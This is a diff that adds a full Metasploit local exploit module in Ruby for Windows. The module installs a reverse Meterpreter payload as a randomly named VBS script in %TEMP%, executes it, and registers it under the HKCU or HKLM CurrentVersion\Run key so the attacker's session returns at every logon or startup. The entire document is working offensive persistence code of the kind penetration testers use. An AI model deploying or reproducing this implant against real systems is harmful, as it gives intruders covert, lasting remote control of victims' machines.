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| 1 | +## |
| 2 | +# ## This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | +require 'rex' |
| 10 | +require 'msf/core/post/common' |
| 11 | +require 'msf/core/post/file' |
| 12 | +require 'msf/core/post/windows/priv' |
| 13 | +require 'msf/core/post/windows/registry' |
| 14 | +require 'msf/core/exploit/exe' |
| 15 | + |
| 16 | +class Metasploit3 < Msf::Exploit::Local |
| 17 | + Rank = ExcellentRanking |
| 18 | + |
| 19 | + include Msf::Post::Common |
| 20 | + include Msf::Post::File |
| 21 | + include Msf::Post::Windows::Priv |
| 22 | + include Msf::Post::Windows::Registry |
| 23 | + include Exploit::EXE |
| 24 | + |
| 25 | + def initialize(info={}) |
| 26 | + super( update_info( info, |
| 27 | + 'Name' => 'Windows Manage Persistent Payload Installer', |
| 28 | + 'Description' => %q{ |
| 29 | + This Module will create a boot persistent reverse Meterpreter session by |
| 30 | + installing on the target host the payload as a script that will be executed |
| 31 | + at user logon or system startup depending on privilege and selected startup |
| 32 | + method. |
| 33 | + }, |
| 34 | + 'License' => MSF_LICENSE, |
| 35 | + 'Author' => |
| 36 | + [ |
| 37 | + 'Carlos Perez <carlos_perez[at]darkoperator.com>' |
| 38 | + ], |
| 39 | + 'Platform' => [ 'win' ], |
| 40 | + 'SessionTypes' => [ 'meterpreter' ], |
| 41 | + 'Targets' => [ [ 'Windows', {} ] ], |
| 42 | + 'DefaultTarget' => 0, |
| 43 | + 'DisclosureDate'=> "Oct 19 2011" |
| 44 | + )) |
| 45 | + |
| 46 | + register_options( |
| 47 | + [ |
| 48 | + OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]), |
| 49 | + OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), |
| 50 | + OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]), |
| 51 | + OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']), |
| 52 | + ], self.class) |
| 53 | + |
| 54 | + end |
| 55 | + |
| 56 | + # Exploit Method for when exploit command is issued |
| 57 | + def exploit |
| 58 | + print_status("Running module against #{sysinfo['Computer']}") |
| 59 | + |
| 60 | + rexename = datastore['REXENAME'] |
| 61 | + delay = datastore['DELAY'] |
| 62 | + reg_val = datastore['REG_NAME'] |
| 63 | + @clean_up_rc = "" |
| 64 | + host,port = session.session_host, session.session_port |
| 65 | + |
| 66 | + exe = generate_payload_exe |
| 67 | + script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay}) |
| 68 | + script_on_target = write_script_to_target(script,rexename) |
| 69 | + |
| 70 | + if script_on_target == nil |
| 71 | + # exit the module because we failed to write the file on the target host. |
| 72 | + return |
| 73 | + end |
| 74 | + |
| 75 | + # Initial execution of script |
| 76 | + if target_exec(script_on_target) == nil |
| 77 | + # Exit if we where not able to run the payload. |
| 78 | + return |
| 79 | + end |
| 80 | + |
| 81 | + case datastore['STARTUP'] |
| 82 | + when /USER/i |
| 83 | + regwrite = write_to_reg("HKCU", script_on_target, reg_val) |
| 84 | + # if we could not write the entry in the registy we exit the module. |
| 85 | + if not regwrite |
| 86 | + return |
| 87 | + end |
| 88 | + when /SYSTEM/i |
| 89 | + regwrite = write_to_reg("HKLM", script_on_target, reg_val) |
| 90 | + # if we could not write the entry in the registy we exit the module. |
| 91 | + if not regwrite |
| 92 | + return |
| 93 | + end |
| 94 | + end |
| 95 | + |
| 96 | + clean_rc = log_file() |
| 97 | + file_local_write(clean_rc,@clean_up_rc) |
| 98 | + print_status("Cleanup Meterpreter RC File: #{clean_rc}") |
| 99 | + |
| 100 | + report_note(:host => host, |
| 101 | + :type => "host.persistance.cleanup", |
| 102 | + :data => { |
| 103 | + :local_id => session.sid, |
| 104 | + :stype => session.type, |
| 105 | + :desc => session.info, |
| 106 | + :platform => session.platform, |
| 107 | + :via_payload => session.via_payload, |
| 108 | + :via_exploit => session.via_exploit, |
| 109 | + :created_at => Time.now.utc, |
| 110 | + :commands => @clean_up_rc |
| 111 | + } |
| 112 | + ) |
| 113 | + end |
| 114 | + |
| 115 | + # Function for creating log folder and returning log path |
| 116 | + def log_file(log_path = nil) |
| 117 | + #Get hostname |
| 118 | + host = session.sys.config.sysinfo["Computer"] |
| 119 | + |
| 120 | + # Create Filename info to be appended to downloaded files |
| 121 | + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") |
| 122 | + |
| 123 | + # Create a directory for the logs |
| 124 | + if log_path |
| 125 | + logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) |
| 126 | + else |
| 127 | + logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) |
| 128 | + end |
| 129 | + |
| 130 | + # Create the log directory |
| 131 | + ::FileUtils.mkdir_p(logs) |
| 132 | + |
| 133 | + #logfile name |
| 134 | + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" |
| 135 | + return logfile |
| 136 | + end |
| 137 | + |
| 138 | + # Writes script to target host |
| 139 | + def write_script_to_target(vbs,name) |
| 140 | + tempdir = expand_path("%TEMP%") |
| 141 | + if name == nil |
| 142 | + tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" |
| 143 | + else |
| 144 | + tempvbs = tempdir + "\\" + name + ".vbs" |
| 145 | + end |
| 146 | + begin |
| 147 | + write_file(tempvbs, vbs) |
| 148 | + print_good("Persistent Script written to #{tempvbs}") |
| 149 | + @clean_up_rc << "rm #{tempvbs}\n" |
| 150 | + rescue |
| 151 | + print_error("Could not write the payload on the target hosts.") |
| 152 | + # return nil since we could not write the file on the target host. |
| 153 | + tempvbs = nil |
| 154 | + end |
| 155 | + return tempvbs |
| 156 | + end |
| 157 | + |
| 158 | + # Executes script on target and return the PID of the process |
| 159 | + def target_exec(script_on_target) |
| 160 | + execsuccess = true |
| 161 | + print_status("Executing script #{script_on_target}") |
| 162 | + # error handling for process.execute() can throw a RequestError in send_request. |
| 163 | + begin |
| 164 | + if datastore['EXE::Custom'].nil? |
| 165 | + session.shell_command_token(script_on_target) |
| 166 | + else |
| 167 | + session.shell_command_token("cscript \"#{script_on_target}\"") |
| 168 | + end |
| 169 | + rescue |
| 170 | + print_error("Failed to execute payload on target host.") |
| 171 | + execsuccess = nil |
| 172 | + end |
| 173 | + return execsuccess |
| 174 | + end |
| 175 | + |
| 176 | + # Installs payload in to the registry HKLM or HKCU |
| 177 | + def write_to_reg(key,script_on_target, registry_value) |
| 178 | + # Lets start to assume we had success. |
| 179 | + write_success = true |
| 180 | + if registry_value.nil? |
| 181 | + nam = Rex::Text.rand_text_alpha(rand(8)+8) |
| 182 | + else |
| 183 | + nam = registry_value |
| 184 | + end |
| 185 | + |
| 186 | + print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") |
| 187 | + |
| 188 | + if(key) |
| 189 | + set_return = registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") |
| 190 | + if set_return |
| 191 | + print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") |
| 192 | + else |
| 193 | + print_error("Failed to make entry in the registry for persistence.") |
| 194 | + write_success = false |
| 195 | + end |
| 196 | + else |
| 197 | + print_error("Error: failed to open the registry key for writing") |
| 198 | + write_success = false |
| 199 | + end |
| 200 | + end |
| 201 | + |
| 202 | +end |
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